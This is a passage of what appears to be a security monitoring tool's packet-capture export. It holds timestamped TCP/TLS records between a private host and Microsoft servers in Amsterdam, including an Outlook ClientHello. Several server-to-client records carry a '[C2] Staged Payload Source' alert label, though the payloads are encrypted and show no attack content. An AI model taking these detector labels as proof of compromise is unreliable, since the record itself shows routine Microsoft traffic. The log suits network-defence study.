\\\\x9e\\\\xc0T\\\\xaf(\\\\x01\\\\x92\\\\xa2\\\\x1c\\\\xb4\\\\xc8\\\\xe5\\\\xb8\\\\xa6\\\\xbb)\\\\x1c\\\\xd7M|\\\\x1bF\\\\xca\\\\xa4\\\\xd7\\\\x07\\\\x83\\\\xfe\\\\xe2Q\\\\x05]\\\\xa7\\\\x80.\\\\x00|\\\\xc5\\\\xde\\\\xabWp\\\\xd7\\\\xf1x\\\\x94&\\\\x932xf\\\\xe7\\\\x88uH#]\\\\x7f\\\\xc9\\\\xb0\\\\x00\\\\x86\\\\xbe.R\\\\xfc8Q\\\\xcb\\\\x99V\\\\x89\\\"\"\\\\x19\\\\x9224^Y\\\\x98\\\\x8cU[\\\\xee\\\\xf5\\\\x9e\\\\x17\\\\xcd\\\\xc6\\\\xbd\\\\xa9\\\\xdd\\\\xba\\\\xbf\\\\xaf7\\\\xe6\\\\xa4\\\\xfc@\\\\xdcy\\\\x7f\\\\xab\\\\xfd\\\\xec0\\\\xb5\\\\xe8\\\\t\\\\xf3\\\\xe8r\\\\xcf\\\\x03\\\\x12\\\\xfdn0\\\\xcd\\\\xc3\\\\xd9a\\\\x90\\\\x88\\\\x02\\\\xbbm\\\\xca\\\\x13P\\\\xfe\\\\x82~\\\\xdc?\\\\xf0\\\\x12\\\\x06\\\\xc5\\\\xda\\\\xf8\\\\xce\\\\x84K\\\\xcd\\\\xf8\\\\xb0\\\\x941}\\\\xa6\\\\xean\\\\xa8\\\\xbbk\\\\x0e\\\\x01\\\\xf85\\\\x9c 2\\\\x14\\\\xf5\\\\xb0\\\\x89\\\\x1f\\\\xf3d\\\\x996\\\\xdd\\\\xa9`L1X\\\\xe8\\\\x1b8\\\\xffP\\\\xfer\\\\xad\\\\x8c\\\\x9fX\\\\'\\\\x01mE\\\\x16X?\\\\xde\\\\x93Z9\\\\x18\\\\xe9\\\\xf8\\\\x1dE\\\\x9c%\\\\x9b,\\\\r\\\\x19\\\\xcc]\\\\x06\\\\x10\\\\x1c5Q\\\\x16>\\\\x9d(\\\\xd5}\\\\xc4\\\\xb6\\\\x8bo\\\\xd1\\\\xddd\\\\xe6c\\\\xc5\\\\xc4\\\\x9e\\\\xba7\\\\x03\\\\x15\\\\xcf\\\\xb6n\\\\x18;xh\\\\x8f\\\\x96L\\\\xdc\\\\x00\\\\xe6=]\\\\xd7\\\\x99\\\\xc2nE\\\\xd9\\\\x02\\\\x1d?\\\\xbf<\\\\xae8\\\\x88\\\\xde{o\\\\xa5\\\\x0c]\\\\x81\\\\x87\\\\xb0X\\\\xfb\\\\xd7\\\\xfc2\\\\x16Q\\\\xfa3\\\\xb1|8\\\\xdf{$/Q\\\\xb9\\\\x13\\\\x1cD\\\\x93r\\\\x1e0M\\\\x8c=\\\\\\\\\\\\x8ff\\\\xc2.r}\\\\xbfT\\\\x7f\\\\xdd\\\\xaa*\\\\xcc\\\\x7ff\\\\xf8P0\\\\x8c\\\\x1a\\\\xd1\\\\xe7\\\\xb7\\\\xc9n%\\\\xf4C\\\\xcc\\\\x85c\\\\xa5\\\\xa4\\\\xd1\\\\xb3y^\\\\x8d0\\\\xd2\\\\xdd\\\\xec\\\\x1f\\\\xa6\\\\xd2\\\\xeb=I\\\\x93\\\\x9bw\\\\xc7M-\\\\xe0v.\\\\x89\\\\xf0\\\\xd0\\\\xdc\\\\xdf\\\\x9e\\\\x84{\\\\xe4\\\\xae\\\\xf9\\\\xfe\\\\x8f\\\\xc1\\\\xe6\\\\xca\\\\x9e\\\\xe1\\\\x08i\\\\x8cg)\\\\x14\\\\x05\\\\x9f\\\\xff\\\\xb9\\\\x0f\\\\xb8{K\\\\xb3\\\\xd0\\\\x1e\\\\xf2\\\\xd9\\\\xa3\\\\x9b0\\\\x80\\\\x18#s\\\\x8f\\\\xd4^\\\\xc6\\\\x90\\\\x92,\\\\x14\\\\x1aI\\\\xbfL\\\\xef\\\\x90>\\\\x8e1n{\\\\xd0\\\\xf5\\\\x98*\\\\xf3\\\\xd1P\\\\x04\\\\xef\\\\x92\\\\xd0\\\\xf3(\\\\xb0\\\\xaa\\\\x14\\\\xfb\\\\xa0z\\\\xcfs&Q\\\\xe8l\\\\xa1\\\\x0f\\\\xb0\\\\x8f\\\\xb0\\\\x17\\\\xdd:\\\\xe1\\\\xbfV{\\\\n\\\\xd9\\\\xd6\\\\x89\\\\x961\\\\xdb\\\\xad\\\\x8f0\\\\xb0`\\\\xd3\\\\x18D4\\\\x81\\\\xa4N\\\\xa8\\\\xe5_\\\\x1e)\\\\xea\\\\xdb\\\\\\\\\\\\x08\\\\xb3\\\\x06\\\\xae\\\\xa5k\\\\xb9\\\\x91\\\\xb4\\\\xd8T\\\\xd7\\\\xe5\\\\x11\\\\xf2\\\\xb7\\\\xb5\\\\xb1\\\\xa4\\\\xd83\\\\r^\\\\xab\\\\xf4\\\\x88\\\\xf6{\\\\xef\\\\x1a\\\\x97*\\\\x9e\\\\x1d\\\\xc6g\\\\xe1\\\\x84\\\\x05\\\\x98\\\\x9a\\\\xb3\\\\xe5\\\\xba!\\\\x0fW\\\\xac\\\\x08*\\\\xa0\\\\xdde\\\\xa3\\\\x7f\\\\x85\\\\x13-\\\\xfc[{\\\\x02\\\\xf7\\\\xd82i\\\\x13\\\\xae\\\\x9ao\\\\t\\\\x7f\\\\xa8tK\\\\xe0C\\\\xb36I\\\\xa0\\\\xce(\\\\x1d\\\\xdb\\\\xb0!j\\\\x9d\\\\xd44\\\\xd4GQ\\\\xa0\\\\xa9' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:49.576533,83,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,A,,,Ether > IP > TCP,3,TCP A Seq=2486875026 Ack=4213686077,bc24112907bbbc2411360d0c0800450000281199400080065a700a98980b3461b7c2f9fd01bb943ab392fb27bf3d501003fd1f250000,\".$.)...$.6\n...E..(..@...Zp\n...4a.......:...'.=P....%..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4505, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23152, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486875026, \"\"ack\"\": 4213686077, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 7973, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:49.581627,84,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2486875026 Ack=4213686077,bc24112907bbbc2411360d0c08004500006e119a400080065a290a98980b3461b7c2f9fd01bb943ab392fb27bf3d501803fd9cdf0000170303004100000000000000054245f0d491054195f934c18f4465b0973c536d1c3f29a0808596ea4f5e2990b5caf08f1d9cdc4856e0437eb8cbe6b2ab9b0798a5c7194f34f0,\".$.)...$.6\n...E..n..@...Z)\n...4a.......:...'.=P...........A........BE....A..4..De..<Sm.?).....O^)........HV.C~...........O4.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 110, \"\"id\"\": 4506, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23081, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486875026, \"\"ack\"\": 4213686077, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 40159, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 65, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05BE\\\\xf0\\\\xd4\\\\x91\\\\x05A\\\\x95\\\\xf94\\\\xc1\\\\x8fDe\\\\xb0\\\\x97<Sm\\\\x1c?)\\\\xa0\\\\x80\\\\x85\\\\x96\\\\xeaO^)\\\\x90\\\\xb5\\\\xca\\\\xf0\\\\x8f\\\\x1d\\\\x9c\\\\xdcHV\\\\xe0C~\\\\xb8\\\\xcb\\\\xe6\\\\xb2\\\\xab\\\\x9b\\\\x07\\\\x98\\\\xa5\\\\xc7\\\\x19O4\\\\xf0' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:49.581636,85,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4213686077 Ack=2486875096,bc2411360d0cbc24112907bb080045000028c50140004006e7073461b7c20a98980b01bbf9fdfb27bf3d943ab3d85010003f8ee10000,\".$.6\n..$.)....E..(..@.@...4a..\n........'.=.:..P..?....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 50433, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59143, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213686077, \"\"ack\"\": 2486875096, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 36577, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:50.471620,86,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=4213686077 Ack=2486875096,bc2411360d0cbc24112907bb080045000210c50240004006e51e3461b7c20a98980b01bbf9fdfb27bf3d943ab3d85018003f90c90000170303026f00000000000000075104484055f96c66de6c5338f3fef0b5cdb562cc0a0770425ecdb25577d644e1c82e4f30f408dd5f508d826c28717731bba8a92d34ed9afd0660c105fe36318391e09e6d583b685f345e5bc95f3e3652ee7801668115691bb6bc2ddb1d5d9a3c9fd3921002c6bd0cb3678b7c7c2875544a4015c0d11856bd8cd3aa2b7b53da38c724618e5151060324b3854368dc2d86df1b29eeded3d94c59b42e0b33003dad94057a89db790df606643b5f2dd364d302eb46b78769dacd437458abf3072eabd15403f591a36f1c8b5c9a62c4445748550fb4421fd1588aa4f07f1a8c2a09c802cee624e58e1765d5e03bff828f8f5bf6c2731d32a3cb2740a917d4821344b5eb54144e8096b7cb56805cd6783a99238b1309d53e4208af33cca2e00eae8c98ca7256beac801dc0a10bacd9e24089a11f533e67417a6819cb16e502c90d18ed4d27da6978050f4ea8be4390d251fbf2c2a38e62dca5cf5fd3642f16506b08df5f5cbcd1f0eb0043e4c240f58d9536f6412cfe56b4b4a1843d30fbd4e8f1e1389c3345d9c70b27eee1af6d14b2af6c5f6c5bc06fc6ef41f308795b771196fb7694b38784091eeca6901d5aef58d37930f163588a53b7f5759411b72d4842e6b511db524efb35f70f93419efaaedeaab10a6e09996af9461343d801,\".$.6\n..$.)....E.....@.@...4a..\n........'.=.:..P..?........o........Q.H@U.lf.lS8......b.\n.pB^..Uw.D...O0..._P..l(qw1...-4....`...61....mX;h_4^[._>6R.x.f..i...-..].<.........g.||(uTJ@....V....+{S.8.$a.QQ..$..Ch.-...)....LY...3.=...z..y\n..d;_-.d...F..i..CtX......T....o..\\.b.DWHU..B..X......*\t....$...e..;....[..s.2..'@.....D..T.N....V.\\.x:.#..\t.>B..3........rV..........@...S>gAzh......\n..M'.ix..N..C..Q.....b..._.d/.Pk.._\\.....C..@...6.A,.V....=0.....8.3E...'...m...l_l[.o..A..y[w...v....\t.....Z.X.y0.cX.S..u...-HB....RN.5...A......\nn\t.j.F.C..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 528, \"\"id\"\": 50434, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58654, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213686077, \"\"ack\"\": 2486875096, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 37065, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"170303026f00000000000000075104484055f96c66de6c5338f3fef0b5cdb562cc0a0770425ecdb25577d644e1c82e4f30f408dd5f508d826c28717731bba8a92d34ed9afd0660c105fe36318391e09e6d583b685f345e5bc95f3e3652ee7801668115691bb6bc2ddb1d5d9a3c9fd3921002c6bd0cb3678b7c7c2875544a4015c0d11856bd8cd3aa2b7b53da38c724618e5151060324b3854368dc2d86df1b29eeded3d94c59b42e0b33003dad94057a89db790df606643b5f2dd364d302eb46b78769dacd437458abf3072eabd15403f591a36f1c8b5c9a62c4445748550fb4421fd1588aa4f07f1a8c2a09c802cee624e58e1765d5e03bff828f8f5bf6c2731d32a3cb2740a917d4821344b5eb54144e8096b7cb56805cd6783a99238b1309d53e4208af33cca2e00eae8c98ca7256beac801dc0a10bacd9e24089a11f533e67417a6819cb16e502c90d18ed4d27da6978050f4ea8be4390d251fbf2c2a38e62dca5cf5fd3642f16506b08df5f5cbcd1f0eb0043e4c240f58d9536f6412cfe56b4b4a1843d30fbd4e8f1e1389c3345d9c70b27eee1af6d14b2af6c5f6c5bc06fc6ef41f308795b771196fb7694b38784091eeca6901d5aef58d37930f163588a53b7f5759411b72d4842e6b511db524efb35f70f93419efaaedeaab10a6e09996af9461343d801\"\"}}]\"\n2026-06-28 14:01:50.471705,87,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,A,,,Ether > IP > TCP,3,TCP A Seq=2486875096 Ack=4213686565,bc24112907bbbc2411360d0c080045000028119b400080065a6e0a98980b3461b7c2f9fd01bb943ab3d8fb27c125501003fb1cf90000,\".$.)...$.6\n...E..(..@...Zn\n...4a.......:...'.%P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4507, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23150, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486875096, \"\"ack\"\": 4213686565, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1019, \"\"chksum\"\": 7417, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:50.475832,88,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=4213686565 Ack=2486875096,bc2411360d0cbc24112907bb0800450000b4c50340004006e6793461b7c20a98980b01bbf9fdfb27c125943ab3d85018003f8f6d0000c436098253fddc7c803a8f452a020a904ccc87b874c822de7134c544d52553c40b2127ab1196954f365bb74fc8692a37792bfbace03f219dcd90e6aa100be31e08d269c3c57ed22ba652ffce71399d83abf32cff3bd0490ec85115123031cf018f0cbc9814273c91fce0172171624f44118d80bdf3c057570b7af507fde17d9c5da4da927e371aa260b0780e,\".6\t.S..|.:.E*.\n.L...t.\"\".q4.D.%S..!'....O6[.O.i*7y+...?!...........i..~.+.R..q9....,.;.I..Q..01.......'<....!qbOD......WW.z....}.]...~7..`.x.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 180, \"\"id\"\": 50435, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59001, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213686565, \"\"ack\"\": 2486875096, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 36717, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"c436098253fddc7c803a8f452a020a904ccc87b874c822de7134c544d52553c40b2127ab1196954f365bb74fc8692a37792bfbace03f219dcd90e6aa100be31e08d269c3c57ed22ba652ffce71399d83abf32cff3bd0490ec85115123031cf018f0cbc9814273c91fce0172171624f44118d80bdf3c057570b7af507fde17d9c5da4da927e371aa260b0780e\"\"}}]\"\n2026-06-28 14:01:50.476086,89,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,A,,,Ether > IP > TCP,3,TCP A Seq=2486875096 Ack=4213686705,bc24112907bbbc2411360d0c080045000028119c400080065a6d0a98980b3461b7c2f9fd01bb943ab3d8fb27c1b1501003fa1c6e0000,\".$.)...$.6\n...E..(..@...Zm\n...4a.......:...'..P....n..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4508, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23149, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486875096, \"\"ack\"\": 4213686705, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1018, \"\"chksum\"\": 7278, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:51.002214,90,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,S,,,Ether > IP > TCP,3,TCP S Seq=4018533604 Ack=0,bc24112907bbbc2411360d0c08004500003428f540008006ffd70a98980b3461faf2fa0401bbef85f4e4000000008002ffffbcee0000020405b40103030801010402,\".$.)...$.6\n...E..4(.@.....\n...4a..................................\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10485, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65495, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018533604, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 48366, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-28 14:01:51.002240,91,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=4211336211 Ack=4018533605,bc2411360d0cbc24112907bb08004500003400004000400668cd3461faf20a98980b01bbfa04fb03e413ef85f4e58012faf0d21d0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.h.4a..\n..................................\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 26829, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211336211, \"\"ack\"\": 4018533605, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 53789, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-28 14:01:51.002336,92,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,A,,,Ether > IP > TCP,3,TCP A Seq=4018533605 Ack=4211336212,bc24112907bbbc2411360d0c08004500002828f640008006ffe20a98980b3461faf2fa0401bbef85f4e5fb03e414501004001a990000,\".$.)...$.6\n...E..((.@.....\n...4a..............P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10486, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65506, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018533605, \"\"ack\"\": 4211336212, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 6809, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:51.002526,93,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4018533605 Ack=4211336212,bc24112907bbbc2411360d0c0800450000f828f740008006ff110a98980b3461faf2fa0401bbef85f4e5fb03e41450180400c95e000016030300cb010000c703036a418bbd89f0ea0db7153ceb723d962690027b8498cd044e03d33233ebedd655000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000780000001c001a0000176f75746c6f6f6b2e636c6f75642e6d6963726f736f6674000500050100000000000a00080006001d00170018000b00020100000d001a0018080408050806040105010201040305030203020206010603002300000010000e000c02683208687474702f312e3100170000ff01000100,\".$.)...$.6\n...E...(.@.....\n...4a..............P....^.............jA.....\n..<.r=.&..{....N..23...U..&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...x.........outlook.cloud.microsoft..........\n.................\n.............................#.........h2.http/1.1.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 248, \"\"id\"\": 10487, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65297, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": 